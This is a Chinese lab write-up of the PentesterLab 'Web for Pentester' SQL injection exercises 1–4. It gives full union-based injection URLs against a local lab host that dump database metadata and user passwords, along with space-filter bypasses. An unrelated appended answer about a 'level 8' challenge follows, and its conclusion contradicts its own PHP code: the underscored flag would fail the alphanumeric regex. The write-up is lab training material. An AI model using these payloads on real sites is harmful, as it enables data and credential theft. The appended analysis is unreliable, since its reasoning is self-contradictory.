Pentester Lab闯关记录2(SQL Injections)

example1

验证漏洞是否存在

首先构造下面payload测试是否存在sql注入漏洞:

http://192.168.202.131/sqli/example1.php?name=root’ and 1=1 --+  payload为:’ and 1=1 --+
首先使用'闭合sql语句中的’,然后注入payload,使用--+注释掉后面的内容

发现正常返回内容

在这里插入图片描述
再构造以下payload测试:

http://192.168.202.131/sqli/example1.php?name=root’ and 1=2 --+  payload为:’ and 1=1 --+
首先使用'闭合sql语句中的’,然后注入payload,使用--+注释掉后面的内容

测试发现不能正常返回
在这里插入图片描述
这里证明存在sql注入漏洞,下面进行sql注入。

猜测查询返回的列数

构造以下payload,测试当前查询有多少列,方便构造后续的payload:

http://192.168.202.131/sqli/example1.php?name=root' order by 1 --+

可以发现正常返回内容:
在这里插入图片描述
继续增加值测试,直到不能正常返回内容,确定查询的列数:
测试发现payload为 ' order by 6 --+时,不能正常返回,由此可以确认查询的列数为5
在这里插入图片描述
根据上面的的判断构造以下payload:

http://192.168.202.131/sqli/example1.php?name=root' union select 1,2,3,4,5--+

发现能够正常返回内容:
在这里插入图片描述
说明上述判断正确,原因是union语句成功的前提是前后两个sql语句查询的列数必须相同,否则不能正常输出内容。
注:有教程说必须要修改参数为-1使union前面的sql语句报错,然后才能正常输出后面sql语句的内容,可能是因为靶场环境不同,本文中用到的靶场中不存在这一问题,如果确认构造的payload没有问题,但是union后面的sql语句无法输出内容,可以尝试构造以下payload使union前面的sql语句产生错误,只输出后面的sql语句的查询结果。

http://192.168.202.131/sqli/example1.php?name=-1' union select 1,2,3,4,5--+

收集数据库基本信息

继续构造以下payload收集数据库的基本信息

192.168.202.131/sqli/example1.php?name=-1' union select database(),version(),user(),4,5--+

返回以下内容:
在这里插入图片描述
根据上图可以看到返回了数据库的基本信息:

database:exercises	            # 当前数据库名
vesion:5.1.66-0+squeeze1	    # 当前数据库版本
user:pentesterlab@localhost     # 当前用户名

可以看到数据库版本为5.1.66,mysql 5.x以上版本的数据库为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中定义了表schemata_name(数据库名),tables(表名),columns(列名)。
schemata_name表中,schema_name字段用来存储数据库名
tables表中,table_schema和table_name分别用来数据库库名和表名
columns表中,table_schema,table_name,column_name分别用来存储数据库名,表名和字段名

爆破数据库

下面根据其中的columns表爆破出表名:
构造以下payload:

http://192.168.202.131/sqli/example1.php?name=-1' union select table_schema,table_name,column_name,4,5 from information_schema.columns --+

测试成功返回数据库信息,第一列是数据库名,第二列是对应的的表名,第三列是对应的列名

在这里插入图片描述
我们在这些信息中找到我们最感兴趣的内容
在这里插入图片描述
上图中我们发现了当前数据库中中存在一个user表,其中分别有name,age,groupid,passwd这些列,下面我们尝试构造以下payload对user表内容进行爆破:

http://192.168.202.131/sqli/example1.php?name=-1' union%20select id,name,age,groupid,passwd from users --+

爆破出以下内容:
在这里插入图片描述
稍微调整显示顺序可以看到用户名及对应的密码信息:
在这里插入图片描述

example2

验证漏洞是否存在

构造以下payload:

http://192.168.202.131/sqli/example2.php?name=root' and 1=1 --+

测试发现报出错误
在这里插入图片描述
错误信息:ERROR NO SPACE,发现是因为过滤了空格,因此使用url编码%20替换空格,继续构造以下payload:

http://192.168.202.131/sqli/example2.php?name=root%27%09and%091=1%09%23
%27:'
%09:水平制表符替换空格
%23:#注释后面的内容

爆破数据库

后面的注入流程和example1一致,只需要将空格替换为%09即可。
构造最终的payload,爆破数据库内容:

http://192.168.202.131/sqli/example2.php?name=root%27%09union%09select%09id,name,age,groupid,passwd%09from%09users%23

在这里插入图片描述

example3

验证漏洞是否存在

构造以下payload:

http://192.168.202.131/sqli/example3.php?name=root' and 1=1 --+
http://192.168.202.131/sqli/example3.php?name=root%27%09and%091=1%09%23

测试发现制表符也被过滤了,尝试用注释符绕过,构造以下payload:

http://192.168.202.131/sqli/example3.php?name=root%27/**/and/**/1=1%23

测试成功返回
在这里插入图片描述
修改payload:

http://192.168.202.131/sqli/example3.php?name=root%27/**/and/**/1=2%23

测试发现无法正常返回
在这里插入图片描述
证明存在sql注入漏洞

爆破数据库

注入过程依然和example类似,将空格换成/**/即可,我们直接构造最终的payload测试爆破是否能够成功:

http://192.168.202.131/sqli/example3.php?name=root%27/**/union/**/select/**/id,name,age,groupid,passwd/**/from/**/users%23

测试爆破成功
在这里插入图片描述

example3

验证漏洞是否存在

根据url结构可以发现这是一个数字型注入
构造以下payload:

http://192.168.202.131/sqli/example4.php?id=3%20and%201=1#

爆破数据库

注入过程依然和example类似,我们直接构造最终的payload测试爆破是否能够成功:

http://192.168.202.131/sqli/example4.php?id=3%20union%20select%20id,name,age,groupid,passwd%20from%20users#

测试爆破成功
在这里插入图片描述
剩下的后续继续更新

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第八关的网页源代码如下: ```html <!DOCTYPE html> <html> <head> <title>Web for Pentester</title> <meta charset="UTF-8"> </head> <body> <h1 align="center">Welcome to Web for Pentester</h1> <div align="center"> <img src="8.jpg" alt="web for pentester"> </div> <div align="center"> <form method="post" action="index.php"> <input type="text" name="flag"> <input type="submit" value="Submit"> </form> </div> </body> </html> ``` 从代码中可以看出,这是一个简单的表单,让用户输入 flag 并提交表单。flag 会被提交到 index.php 页面。 我们可以尝试输入一些字符串进行测试,但是没有提示错误或者正确的信息。因此,我们需要分析 index.php 页面的代码,看看它是如何处理 flag 的。 ```php <?php if (isset($_POST['flag'])) { $flag = $_POST['flag']; if (preg_match('/^[a-zA-Z0-9]+$/', $flag)) { if (strlen($flag) < 10) { echo 'Flag is too short'; } elseif (strlen($flag) > 20) { echo 'Flag is too long'; } elseif ($flag === 'web_for_pentester') { echo 'Congratulations! You have completed the challenge'; } else { echo 'Incorrect flag'; } } else { echo 'Invalid characters found'; } } ?> ``` 从代码中可以看出,flag 必须由字母和数字组成,并且长度必须在 10 到 20 之间。如果 flag 符合要求,那么就会与 "web_for_pentester" 对比。如果匹配,就输出 "Congratulations! You have completed the challenge"。否则,输出 "Incorrect flag"。 我们可以尝试输入不同长度的字符串,例如 "abc"、"12345678901234567890" 和 "web_for_pentester",从而找到正确的 flag。 因此,第八关的 flag 是 "web_for_pentester"。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值